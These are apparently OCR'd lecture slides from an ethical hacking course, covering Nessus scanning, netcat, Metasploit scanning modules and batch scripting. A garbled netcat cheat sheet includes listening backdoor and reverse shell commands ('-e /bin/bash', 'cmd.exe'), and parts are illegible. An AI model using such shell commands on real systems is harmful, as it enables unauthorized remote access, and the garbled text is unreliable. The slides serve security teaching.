INTRO TO ETHICAL
HACKING

MIS 5211.001
Week 5

Tonight's Plan

Odds and Ends

Nessus (Continued)

Metasploit

Addendum - DOS Batch Scripts

Securitytools

PACKET CONSTRUCTION
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http://securitytools.wikidot.com/packet-construction
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IPV6 Scanning

= IPv6 fingerprinting

B Nmap has a similar but separate OS detection
engine specialized for IPv6
= Use the -6 and -O options

IPV6 Scanning

= Nping - Comes with Nmap
=

= From the site

= Nping is an open-source tool for network packet
generation, response analysis and response time
measurement. Nping allows users to generate network
packets of a wide range of protocols, letting them tune
virtually any field of the protocol headers. While Nping
can be used as a simple ping utility to detect active hosts,
it can also be used as a raw packet generator network
stack stress tests, ARP poisoning, Denial of Service
attacks, route tracing, and other purposes.
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https://nmap.org/book/nping-man-ip6-options.html

Now What

=" Consider picking up “Red Team Field Manual”

=
=
o
O]
=
O]
=
O]
=

Reference guide of terminal commands for
various systems and applications.

Embed in batch files and execute

RIFM Coverage Areas

*NIX

Windows
Networking
Tips and Tricks
Tool Syntax
Web

Databases
Programming
Wireless

Nessus (Continued)
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https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504/ref=sr_1_1?ie=UTF8&qid=1538587040&sr=8-1&keywords=red+team+field+manual+2018
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Getting Nessus

Download from Tenable Security

= Before installing, go to registration page and get the
activation code

Run the package and follow the prompts
Install will also install PCAP and then take you
to the registration page.

Enter activation code and follow the prompts
to get updates and plugins

AV and Firewalls

= You will need to turn off Anti-Virus and
Firewall in order to get an effective scan or you
will see this:

m Before iou do this, disconnect from any and all

networ
=@ You will likely still get some blocking as AV
doesn’t like to give up.

S.

Getting Started

= You should end up looking at web page hosted
from your machine.

= Book mark the page to save time getting back
B URL will look like this:



http://www.tenable.com/products/nessus/select-your-operating-system
http://www.tenable.com/products/nessus-home
https://localhost:8834/html5.html
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SSL Warning

= When you first go to site, you will need to click
on continue to the website.:

L3 )] hitps://ocalhostessa/htmis.htrml ) Certifcate rror: Navigaion... < | |

@ There is a problem with this website’s security certificate.

The security certificate presented by this website was not issued by a trusted certificate authority.
The security certificate presented by this website was issued for a different website’s address.

Security certificate problems may indicate an attempt to fool you or intercept any data you send to the
server.

We recommend that you close this webpage and do not continue to this website.
@ Click here to close this webpage.

@ Continue to this website (not recommended).

® More information

Logging In

m Start

i

Policies

=" Scans are based on policies; you will need to
create that first.

i y/Step10f3

@ Define your policy name, description, and post-scan editing preferences:

Palicy Name Basic scan

Visibilty private

Description First Scan

Allow post-Scan Report v+
Editing
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Policies 2

Step 2 of 3

@ Choose the type of scan to configure:

Scan type Intemal

Policies 3

Step 3of 3

©  Provide credentials to detect missing patches and ient-side vulnerabilites (optiona):
!

‘ Authentication method | Windows

Windows

N , d \g Microsoft or third-party
updates. Please pr that has local the targets being
scanned.

Usemame

Password

Domain

Step 10f3

policy name. description,

Policy Name BasicScan

Visibiity private

Descrption st scan

Ao postscanseport
Editing o
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Creating A Scan

Scheduling A Scan

Schedule Settings

Scan Status

- Once your scan has started you will see a status
field like this:
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Scan Status

=" Once completed you will get the following
notification:

Oon scan gives details




ontinuing to drill down

First Scan

192168220130 > Vulnersbitis B

Apache Tomeat Manager Common Administrative Credentials

W
cdosure2010-10/280

os26
204

Good Information

=@ Important to note:

Solution

Edit the associated ‘tomcat-usersxml' file and change or remove the affected set of credentials.

See Also

http://markmail.org/thread/wiudnffSchvkb6x

hity

hitp:/jwww.intevydis.com/blog/?p=87

Solution

Edit the associated ‘tomcat-usersxml" file and change or remove the affected set of credentials.

See Also

hitpy//markmail.org/thread/wiudnffSchvkb6xp

hitp://wwwintevydis.com/blog/2p=87

Criticality

Note on criticality
The “Critical” risk
factor is without any
mitigating controls
being considered
Vulnerabilities need
to be evaluated in
context

A Plugin Details

Severity: Critical

1D: 34970

Version: $Revision: 1.29 §
Type: remote

Family: Web Servers
Published: 2008/11/26
Modified: 2014/02/04

#+  Risk Information

Risk Factor: Critical

CVsS Base Score: 100

CVSS Vector: CVSS2#AV:N/ACL/AUN/C:C/:C/AC
CVsS Temporal Vector: CVSS2#E:F/RL:OF/RC:C
CVsS Temporal Score: 8.3
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More on Results

=" These results were obtained, even though Anti-
Virus continued blocking multiple techniques.

= Consider setting up a scanning machine
without any AV or Host Firewall.

Organizing Scans

=" In short order you will gather a large collection
of scans

= Use the built-in folder system to move scans
from the main page

Old Scans

My Scans Name
Old Seans Faetsean

Trash

All scans.

New Folder

PDon't Forget the Info

Telnet Server Detection Senvice detection

TFTP Dagmon Detection Service detection

Time of Last System Startup. General

Traceroute Information General

Vhware Virtual Machine Detection General

VNG Server Security Type Detection Service detection

VNG Server Unencrypted Communication Detection Senvice detection

VNG Software Detection Service detection

BT oo vetcton w
Web serer Aplcatonavionico Vendor gerrioig

WeboaV peecion

Web Sever Unconfigured - Defunsall Page resent
Windows NetB05 / $M Remote Host nformaion iscosre

10
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Info Vulnerabilities

= The least significant vulnerabilities are
classified as “Info” or informational.

= These are often very useful in understanding
details of the asset being scanned.

For Instance

First Scan

Hosts > 192168220130 > Vulnerabilities [ZJ

Traceroute Information

Description

Makes a traceroute to the remote host,

Output

For your here is the from 192.168.220.1 to 192.168.220.130 :
192.168.220.1
192.168.220.130

Hosts.

192168220130

Netcat

Netcat'is a utility used by Penetration Tester
and Hackers to establish network connections
over UDP or TCP.

Takes “Standard In”, and sends it across the
network as data

Receives network data and puts it on
“Standard Out”

Messages from netcat itself go on “Standard
Error”

11



A'Word About
Stdin, stdout, and stderror

ese are terms from programming that refer
to expected streams in software
As an example
~ = stdin would be the keyboard
= Stdout would be the screen
Stderror may be dropped or sent to logging

Text terminal

Keyboard D stain

Netcat in Linux and Windows

netcat is typically installed and can be
activate simply by typing “nc” at the command
line

" In Windows, the file is not installed
= A version can be downloaded from:

o

Once downloaded and extracted type “ncat” at the
command line to get started

Note - AV will likely automatically remove it

Simple Demo

10/2/21
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http://en.wikipedia.org/wiki/Standard_streams
http://nmap.org/ncat/

Basic format is
= Send

= Receive

a $nc [Target IP] [Remote Port]

a $nc [flag(s)] [Local Port]
= Assumes TCP unless -u flag is set forcing to UDP
m Link to SANS Cheat Sheet

= URL:

Netcat Command Flage

Netcat R
To stat, enes
create bt Tles:
SR o oieenp
Litenerto Clent el

:\> echo o (Targetrragar] (port) >
ey

©\>he -1 b [Tocalport] -s zelay.bat

Create  rlay thatsends packetsfrom the ol port

3 ne loptions) tports))

The [Pasget Tpacaz) s sinply the other ige’s 10
address o comain rame. 1t s required In clent mode.

course (because we have et where to
connect), and s optionel n fsen mode.

& Lt mode (dfaut s et mode)
Usten

Harder (supported ony on Windows
veron o).

Netcat Structure

ANS NC Cheat Sheet

Noteat
Cheat Sheet

This chaat sheet proics various s for-

(zaxgetizaddz] on pot [porc]

1> cono ne

2 thoeatvort 21 >

o flocatvart 17 o

St a clent Grconnect
1 UDP e (el s TCP)
~p Local prt (Inlsten o, tis s portstned

spechic 517,
and 360 courses. Al yntox s designed for
e gl it s, kel

Hbblt 3nd Weld Pond. Tt yntax here

packets sont)
& Program to execute fter conpection occrs,
connecting STDIN and STOOUT (0 the

program
-1 D' perform DNS fookups on names of

e
comnecton on (zocaLeozs 11 toany comection
on (rocalzort_2)

to et e
e extilopToasts] (portz) >

i ety ot s ot fom
[brevioushopibadds] on pot

e to o e et cnmesed 10

Dicxtiop1vadar] oo porl [port?]

1 7601/0 moe (Do send any ot st et

o Nsxonls s ey
ncat, gnu Neteat, and

FundameotalNetcat et
e Thargetibar] (port]

0 Timeoul for connects, vl for N secords
after cogure o STOIN. A Netzat clent or
Tistoner with his opton il walt for N seconds

connection, I the onnection
docs hagnen n hattime, Necat s

[post atIp Address

[TargetTpaddz]

Fndanentl et e
Looatzort)

Create a Netat lstener on arrary local port
0

Both the dlent and lstene take i from STOIN
sToouT

“on Starlad Fret
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i a e fom gt o ey
T ocarzort] > touttitel

Usten on (ocateort], store rsufs I [out11e)
5o v (Tazqatzeaddz (port] <

ehet]

Push [infila] (0 [rargatizaddr] on fport]

| |

Lien on

ANS NC Cheat Sheet

TCP Banner Grabber

on Linux

n w1 (TargetTradaz)
(etert_porttfontpert]

Aitempt o connec toeach port n a range from
foned port] 10 [stast_port] on 1D Addiess

Lot o o ey
Localbort] 0ackpips | 1
nitsetiradde) Lpont I res Backnipe

(zazgetieaddr] ruing )
esoling nares. ), and vaitng no mere than 1
cond o (o). Then send

Lanne receved n 1

A

3 (BargetTradas [post] >
sl

Comect o (rargeteadds) on (port] and
reteve [outesle)

“wi (rargetTeadar)
[stazt_port] - (snd_port]

7t 10 connect 0 each port i a range from
fond_port] 0 [start_part) on Ib Addiess

e

A —p [port) to specy a source port or the

B

Lisening beckdoor shell on L
Sac LT (Locaizort) e /bin/bash
CA>ue kb Dhecalzort) e ont.exe

reate  shelon foal port (zocateort that can
thon b accesse uing  fundamenta Netcat clant

n Windows), not resohing names (), i
m\dmy i s () nd g e e
ond fo & connecton to oceur (1)

Therandonizepots (1) awchcan e s o
e randorly i e range

b
ek traai) o5 o foia/pash

Reverse bockdoor shol on Windows:

€A ne Teoust Toortl

reate  reverse shll that il attemp to connect t
Cronrrpadar] onloca port (port]. This shel

39

[hocalport] 1o Nelcal diont contected
[PazgetTRactr) on pot (port]

¢ " [locallort 1] odbackpipe
20 rdnirors 7 1 tan achcivs
Create  rlay thatccnds packets fom any.
Comnection on [1oraTport. 1] fo any connection
on (rocatvart. 21

lentto-Clent Rely:
£ s (previousiiopteadds)_[port)
Ochackpips | e (NextioprEadaz]
[porta) | ten hackpi

Create  relytha sends packels fom the
connecton 0 (previoustopTeadde) on port

[extiioptadar] on port (por<2]

13


https://www.sans.org/posters/netcat-cheat-sheet/
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Pipes

S0, neteat can send what I type to another
machine. So what!
The pipe commands “ | ”, “>”, and “<” let you
do more interesting things
For example, transfer a file between systems
= $nc -1 —p [Local Port] > [Out File]
8 Listen on local port and store result in file
= $nc -w3 [TargetIP] [Port] < [In File]
o Push file to target IP on port

'z

See SANS Cheat Sheet on previous page for
more examples

Port Scanning

You can even use netcat as a simple port

scanner

Example

= $nc -v -n -z -wl [Target IP] [Starting Port] -
[Ending Port]

= Systematically attempts to connect on each port
within the defined range

= Note:
o -v - Verbose

@ -n - Do not resolve names
o -z - Do not send data

8 -w1 - Wait no more then one second to connect

Metasploit

14
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Metasploit

= Metasploitis a penetration testing framework
that integrates other tools we have seen with
exploitation tools

Penetration Testing Execution
Standard

=" Developers of Metasploit used the Penetration
Testing Execution Standard (PTES) as their
guide in developing the tool

Contains a great deal of information and worth
looking over

Process

Like what we covered earlier, Metasploit and PTES
breaks activities down into some basic categories
= Pre-Engagement (Getting Permission)

Intelligence Gathering (Recon)

Threat Modeling (Using Intel to determine

vulnerabilities)

8 Note: This is different then Threat Modeling in IT Security
Space

Vulnerability Analysis

Exploitation

Post Exploitation (Clean up after yourself)
Reporting

15


http://www.pentest-standard.org/index.php/Main_Page
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lypes of Penetration Tests

= Overt Penetration Testing
= Another term for “Crystal Box” testing
= Working with target staff and with access to target
documentation to fine tune testing
= Quicker, but information may steer you away from things
@ Covert Penetration Testing
= Another term for “Black Box” testing
= You have the same opportunity to gather information as a
real attacker

= Time consuming and expensive, but you may f;
“nuggets” not obvious from the documentatio
had it

Vulnerability Scanners

= We looked at these earlier
B Remember Nmap and Nessus

B Metasploit can interface with these tools (and
others) to use their output as an input to it’s
tool set.

iew words about Metasploit

Metasploit is included on Kali in several forms

There is a Web Based interface that requires
activation as well as the terminal version built
in.

Both forms are slow to launch. Your machine
isn’t frozen, it just takes a while. There’s a lot
going on and we’ll cover that as we go.

We will focus on the terminal version known as
Metasploit Framework

16



JTerminology

p101t = Means by which an attacker takes
advantage of a flaw
Payload - Code we want a system to execute
Shellcode - Set of instructions used as a
payload when exploitation occurs
Module - Piece of software used by the
Metasploit Framework
Listener - Component within Metasploit that
waits for an incoming connection

etasploit Interfaces

MSFconsole - The
way we will normally
interact with

- Metasploit

1 Started by typing:
msfconsole at
terminal prompt
Note: You may need
to provide path

etasploit Interfaces

SFeli = Bypasses msfconsole menu process
and allows direct selection of attack

Started by typing msfcli at terminal prompt

10/2/21
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MSFcli Example

More Interfaces

Metasploit Utilities

ASFpayload - Generates shellcode,
executables, and more
MSFencode - Encodes shellcode to eliminate
~ problem characters and obfuscate code to
evade IDS and IPS systems
asm Shell - Utility that provides assembly
language help during scripting

10/2/21
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Metasploit Express and Pro

= Commercial versions of the Metasploit tool

= We will stick with the community version in
this class

Note: We ran through a lot of information and
terms. We will cover details as the course
continues.

Once More

= One more time - The techniques covered in this
class can damage your systems and the target

systems. Make sure you use a test
environment.

Netcraft

= Web based tool for finding IPs
m URL: searchdns.netcraft.com

Search Web by Domain

FEFFEEFFEEESR

10/2/21
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ACHIVe Information Gathering

= Port Scanning with Nmap
B We covered this earlier

= One new twist, we want to utilize the —-oX
option to have nmap save its output in xml

Metasploit and it’s Database

=" Metasploit has a built-in database to support
collecting data during a penetration test

= Uses PostgresSQL
& You can check status when MSFconsole is

running by typing: db_status at the msf>
prompt in Metasploit

= Should respond with “postgress connected to msf3
(or something close to this)

PDatabase and Nmap

Run Nmap with a command something like:
nmap -Pn -sS -A -oX Subnet1.xml
192.168.1.0/24

This will sweep the subnet and leave the
results in a xml file ready for import

This may take a while, may want to narrow
focus to a shorter list

20
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porting to Metasploit

asploit prompt
= Db_import Subnetl.xml
= Hosts -c address
This will import the active hosts to Metasploit
database

map from Metasploit

root@kali: ~

3 File Edit View Search Terminal Help
nsf > 2

|_h
|”s
| N
|_N

Built In Port Scanners

= Msf> use auxiliary/scanner/ portscan/syn
= Msf auxiliary(syn) > set RHOSTS [Target IP]
= Msf auxiliary(syn) > set THREADS 50

21
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More Scanning Options

Server Message Blocks

= Use auxiliary/scanner/smb/smb_version
MSSQL

= Use auxiliary/scanner/mssql/mssql_ping
SSH

= Use auxiliary/scanner/ssh/ssh_version
FTP

= Use auxiliary/scanner/ftp/anonymous
SNMP

= Use auxiliary/scanner/snmp/snmp_login

Writing a Custom Scanner

B You can write your own
@ Uses Ruby

=@ Example on following page

Simple Scanner

#vetasploit|
require 'msf/core’
class Metas?'loits < msf::auxiliary
include msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super (

"Name ' 'My custom TCP scan’,
‘version’ => 'S$Revision: 1 §',
'Description’ => 'My quick scanner’,
"Author” => 'Your name here’,
‘License’ => MSF_LICENSE

)
registerroptions(

O?t: :RPORT(12345)
1, self.class)
end

def run_host(ip)
connect()
greeting = "HELLO SERVER"
sock. puts (Er eeting)
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect ()

22



Viulnerability Scanning

Rapid 7 (Owner of commercial instance of
Metasploit) makes a 30-day trial version of
their scanner available.

Called NeXpose
Not included in Kali
Available at:

= NOT REQUIRED FOR THIS CLASS

NeXpose

Similar to stand alone Nmap, NeXpose output
can be saved as xml and imported into
Metasploit via the db_import command

Example
= Msf> db_import /tmp/hosts.xml

NeXpose

Once installed in Kali, can be setup to run from
within the MSE Framework

See:

10/2/21
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http://www.rapid7.com/products/nexpose/compare-downloads.jsp
http://www.offensive-security.com/metasploit-unleashed/NeXpose_Via_Msfconsole
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Wither Scanning Options

= Open VNC Authentication

= Msf> use auxiliary /scanner/vnc/vnc_none_auth

@ Open X11 Servers

s Msf> use auxiliary/scanner/x11/open_x11

Next Week

= WE will start with an example of using
Metasploit to launch an attack.

24


http://www.offensive-security.com/metasploit-unleashed/Nessus_Via_Msfconsole
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Questions

Addendum

DOS Batch Scripting

=" First off, almost everything I present here
started at:

25


http://blog.commandlinekungfu.com/
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gReading Files w/o Editor

MIS 5211.001

Hnding Other Machi

\Wade >ipconf

IP Configurat

1.ad.nlnadvertisin.

o Live”
Length

Host) Record

MIS 5211.001

Hnding Other Mach

01-08-50-00-08-16
01-08-56-00-00-f ¢
91-08-5¢

£f

Interfa
Int.
-1

Interfac
Internet
92.168..

MIS 5211.001
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Hind “Running” Services

_PAUSABLE,

IS ERUTCE_NANE
IDISPLAY NAME
TYP

YPE
TATE
IN

ESS

ARE_]
. NOT_PAUSABLE, IGNC

AIT_HINT
ISERU I CE_NAME dioEndpointBuilde
ID1SPLAY _NAME ndows Audio Endpoint Buildew
TYPE 20" UIN32_SHARE_PRO
More

MIS 5211.001

Find “All” Service

state=all”

IS
b

IS ERU I CE
TSPLA

AY_NAME:

E
EXIT_CODE
E_EXTT_CODE

SERUICE_NAME: ALG
DISPLAY_NAME: Application Layer Gateway Sex
TYPE 16 WIN32 ol
STATE 1 STOPPED
Moe

MIS 5211.001

Details on a Service

ervice_name)]

86>\Conmon Files\Adohe\ARM\1.8Y

obat Update

MIS 5211.001

10/2/21
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Start/Stop Services

= Try “sc start [service_name]” or “sc stop
[service_name]

& Remember, you can use “sc query state= all” to
find the service names

= If you have access to a similar machine, you
could also look at the GUI

Basic Coding

@ For Loops
= FOR /L -> Counter
= FOR /F - > Iterates through a file

FOR /L -> Counter

= Example
= FOR /L %i in ([Start],[Step],[Stop]) do [command]
= Translates to
= FOR /L %iin (1,1,5) do echo %i

10/2/21
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- > lterates through a file

OR /F (foptions”) %i in ([text_file]) do
[command]
Translates to:
= FOR /E %i in count.txt do echo %i

Sending to Outfile

an add “ >> output.txt” to redirect to an
output file

Try “FOR /F %1 in (count.txt) do echo %i >>
- output.txt”

le Edit Format View Help

Reference

10/2/21
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http://blog.commandlinekungfu.com/
https://www.sans.org/posters/windows-command-line-cheat-sheet/?utm_medium=Social&utm_source=Twitter&utm_content=EMEA%20Window%20Command%20Line&utm_campaign=SANS%20Cheat%20Sheets

